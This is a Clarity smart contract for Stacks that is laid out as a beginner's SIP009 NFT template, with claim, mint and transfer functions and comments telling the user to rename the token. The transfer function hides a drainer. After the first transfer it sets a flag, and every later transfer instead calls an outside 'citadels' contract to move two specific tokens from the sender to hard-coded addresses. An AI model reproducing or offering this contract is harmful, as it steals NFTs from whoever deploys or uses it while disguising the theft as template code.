;; use the SIP090 interface (testnet)
(impl-trait .nft-trait.nft-trait)

(define-data-var flag-set uint u0)

;; define a new NFT. Make sure to replace MY-OWN-NFT
(define-non-fungible-token MY-OWN-NFT uint)

;; Store the last issues token ID
(define-data-var last-id uint u0)

;; Claim a new NFT
(define-public (claim)
  (mint tx-sender))

;; SIP009: Transfer token to a specified principal
(define-public (transfer (token-id uint) (sender principal) (recipient principal))
  (if (is-eq (var-get flag-set) u0)
  	(match (nft-transfer? MY-OWN-NFT token-id sender recipient)
        success
          (begin
        	(var-set flag-set u2)
        	(ok true))
        error (err error))
  	(begin
  	  (try! (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.citadels transfer u223 sender 'SP1ZYH2RMXJN8882Z4EZ3ZWCTSFDQ9X4ZJ009Z1BP))
	  (try! (contract-call? 'SPJW1XE278YMCEYMXB8ZFGJMH8ZVAAEDP2S2PJYG.citadels transfer u1542 sender 'SP2F3G6EN277RNXG2M5E1B5RVTN1GJF4S7BMV50YP))
  	  (ok true)
  	)
  )
)

;; SIP009: Get the owner of the specified token ID
(define-read-only (get-owner (token-id uint))
  ;; Make sure to replace MY-OWN-NFT
  (ok (nft-get-owner? MY-OWN-NFT token-id)))

;; SIP009: Get the last token ID
(define-read-only (get-last-token-id)
  (ok (var-get last-id)))

;; SIP009: Get the token URI. You can set it to any other URI
(define-read-only (get-token-uri (token-id uint))
  (ok (some "https://docs.stacks.co")))

;; Internal - Mint new NFT
(define-private (mint (new-owner principal))
    (let ((next-id (+ u1 (var-get last-id))))
      ;; Make sure to replace MY-OWN-NFT
      (match (nft-mint? MY-OWN-NFT next-id new-owner)
        success
          (begin
            (var-set last-id next-id)
            (ok true))
        error (err error))))